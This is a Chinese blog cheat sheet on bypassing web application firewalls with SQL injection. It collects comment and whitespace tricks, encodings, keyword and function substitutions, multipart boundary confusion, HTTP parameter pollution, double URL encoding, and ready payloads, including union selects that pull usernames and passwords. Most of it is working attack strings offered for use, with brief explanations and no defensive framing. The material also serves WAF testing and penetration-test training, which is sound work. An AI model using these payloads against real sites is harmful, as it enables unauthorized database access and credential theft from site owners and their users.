Sql-injection ByPass WAF by L0st

常见的几种WAF

  1. 云WAF(CDN中包含WAF)
    通常需要将DNS解析到CDN的IP上去,请求URL时,数据包先经过云WAF检测,通过后再发送给主机。
  2. 主机防护软件
    可用于扫描和保护主机,并监听WEB端口流量是否有恶意的,功能较为全面。
  3. 硬件ips/ids防护、硬件waf
    使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流量清洗和拦截,如果通过再将数据包流给主机。

常用占位符号

SQL语句可插入符号位[]:

select * from pwd where id=1[]union[]select[]username,password[]from[]pwd;
可以当空格使用的符号
  1. 注释符
    #
    --
    -- -
    --+
    //
    /**/
    /*letmetest*/
    ;%00
  2. 空白字符

SQLite3: 0A 0D 0C 09 20
MySQL5: 09 0A 0B 0C 0D A0 20
PosgresSQL: 0A 0D 0C 09 20
Oracle: 11g 00 0A 0D 0C 09 20
MSSQL: 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15, 16,17,18,19,1A,1B,1C,1D,1E,1F,20

  1. + -
  2. ``符号,如 `schema_name`
  3. ~
  4. !
  5. 圆括号()
  6. @`id` 如select@`id`
  7. .1 和 /*.1*/
  8. 单双引号' ' " "
  9. 花括号{}
  10. 常用urlencode:
Urlencode Urldecode
%0A \n
%23 #
%2d -
%0B vertical tab
%0C new page
%0D carriage return
%A0 non-breaking space
%20 Space
%09 Horizontal Tab
%26 &(and)
  1. 科学记数法
  2. 空格替换:%20, %09, %0a, %0b, %0c, %0d, %a0

可运用的SQL函数及关键词

MySQL:

  1. union
  2. union distinct
  3. union all
  4. union distinctrow
  5. procedure
  6. analyse()
  7. updatexml()
  8. extracavalue()
  9. exp()
  10. ceil()
  11. atan()
  12. sqrt()
  13. floor()
  14. ceiling()
  15. tan()
  16. rand()
  17. sign()
  18. greatest()

字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)

字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)

字符转换
Char(49)
Hex('a')
Unhex(61)

如果过滤了逗号

  1. limit处的逗号: limit 1 offset 0
  2. 字符串截取处逗号: mid(version() from 1 for 1)

MSSQL:

  1. IS_SRVROLEMEMBER()
  2. IS_MEMBER()
  3. HAS_DBACCESS()
  4. convert()
  5. col_name()
  6. object_id()
  7. is_srvrolemember()
  8. is_member()

字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)

字符串转换函数
Ascii('a') 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass
Char('97')
exec()

multipart请求中的注入

PHP解析器在解析multipart请求的时候,它以逗号作为边界,只取boundary,而普通解析器接受整个字符串。 因此,如果没有按正确规范的话,就会出现这么一个状况:首先填充无害的data,waf将其视为了一个整体请求,其实还包含着恶意语句。

    ------,xxxx
    Content-Disposition: form-data; name="img"; filename="img.gif"
    GIF89a
    ------
    Content-Disposition: form-data; name="id"
    1' union select null,null,flag,null from flag limit 1 offset 1-- -
    --------
    ------,xxxx--

一个可根据需要进行修改的HTML表单提交页面:

<html>
<head></head>
<body>
<form action="http://localhost/sqlilabs/Less-11/index.php" method="post" enctype="multipart/form-data">
<input type="text" name="uname">
<input type="text" name="passwd">
<input type="submit">
</form>
</body>
</html>

HTTP参数污染

假设提交的参数即为:id=1&id=2&id=3
Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
Php + apache:id=3

mysql自定义变量

Bypass Payload:
id=1|@pwd:=(select username from users where id=4)/*ddd*/union/*ddd*/select null,@pwd

?id=0'|@pwd:=(select user())/**/union/**/select 1,@pwd,3 --+

绕过'='过滤

解决方法:使用like查询
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';
使用sounds like:
'or+(1)sounds/**/like"1"--%a0-

绕过where name= 条件处引号限制

  1. where username= 0x61646D696E HEX编码
  2. where username= CHAR(97, 100, 109, 105, 110) 使用CHAR()函数

盲注中的条件语句

  1. SELECT IF(1=1, true, false);
  2. SELECT CASE WHEN 1=1 THEN true ELSE false END;
  3. IFNULL()
  4. NULLIF()

括号的用法

UNION(SELECT(column)FROM(table))

过滤 and or

1 or 1=1 and 1=1
payload:
1 || 1=1 1&& 1=1

我在测试过程中发现id=1%20%26%201=1--+才能正确执行and语句,&&无效

字符串格式

' or "a"='a'
' or 'a'=n'a'               //unicode
' or 'a'=b'1100001'         //binary
' or 'a'=_binary'1100001'   //5.5.41下测试无效
' or 'a'=x'61'              //16进制

另外,字符型 or and 关键词不需要加空格,
例如id=1%27and%271%27=%271 \\id=1'and'1'='1

过滤 union select

过滤正则/union\s+select/i
'and(true)like(false)union(select(pass)from(users))#
'union [all|distinct] select pass from users#
'union%a0select pass from users#
'union/*!select*/pass from users#
/vuln.php?id=1 union/*&sort=*/select pass from users-- -

过滤limit

select * from users where id=1;
select * from users group by id having id=1;

特殊的盲注——对比关键字

'and(select pass from users where id=1)='a
'and(select pass from users group by id having id=1)='a
'and length((select pass from users having substr(pass,1,1)='a'))

盲注中的conv()函数

conv(字符串,被转换字符进制,转换后的进制)
conv(hex('a'),16,10)

reverse截取函数

reverse('abcdef')='fedcba'

PHP中的PATH_INFO特性

访问 http://......./3.php?id=1
等价于 http://......./3.php/xxxxxxx?id=1
针对白名单绕过很有效,很多WAF考虑到效率对于后缀为.js .jpg的文件不进行检查,故造成绕过

针对http请求数据包

畸形method:
某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容。如请求的method名为DOTA,依然会返回GET方法的值,即,可以任意替换GET方法为其它值,但仍能有效工作,但如果waf严格按照GET方法取值,则取不到任何内容

cookie:
某些参数通过GET,POST,COOKIE进行传送,故Cookie处亦可以进行注入

双重URL编码

双重URL编码: 即web应用层在接受到经过服务器层解码后的参数后,又进行了一次URL解码
我们可以将sql语句urlencode两次进行注入

mysql语句可以换行的特性

由于mysql类似C语言,将 ; 符号作为一条语句的结束,故可以在注入语句中加入换行符搭配注释符使用:
id=1'+union--+aaaaaaaaaaaaa%0ASelect--+bbbbbbbbb%0Auser,passwd/**/from%23%0Auser;%00

id=1' union--+aaaaaaaaaaaaaaaaaaaaaaaaaa
Select--+bbbbbbbbbbbbbbbbb
user,passwd from#bbbbbbbbbbbbbbbbb
user;bbbbbbbbbbb

实例:
?id=0%27union--+aaaaaa%0Aselect--+bbbbbb%0A1,2,3--+

搞不懂的/!*...*/ (可过360)

id=1 union/*!/*!select 1,2,3*/from dual

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 220,884评论 6 513
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 94,212评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 167,351评论 0 360
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,412评论 1 294
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,438评论 6 397
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 52,127评论 1 308
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,714评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,636评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 46,173评论 1 319
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,264评论 3 339
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,402评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 36,073评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,763评论 3 332
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,253评论 0 23
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,382评论 1 271
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,749评论 3 375
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,403评论 2 358

推荐阅读更多精彩内容

  • 一、分类 可以有以下几种不同的维度:维度一:基于注入点值的属性 数字型 字符型维度二:基于注入点的位置 GET/P...
    ffx_01阅读 1,759评论 0 0
  • web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。 1、 不使用被...
    查无此人asdasd阅读 7,281评论 0 5
  • pyspark.sql模块 模块上下文 Spark SQL和DataFrames的重要类: pyspark.sql...
    mpro阅读 9,463评论 0 13
  • 近十年来,WAF 已经逐渐发展成熟,被软件行业接受并成为无数企业保护应用的不二选择。很多大型企业甚至相继亲自设计或...
    OneAPM阅读 992评论 0 1
  • MSSQL 跨库查询(臭要饭的!黑夜) 榨干MS SQL最后一滴血 SQL语句参考及记录集对象详解 关于SQL S...
    碧海生曲阅读 5,606评论 0 1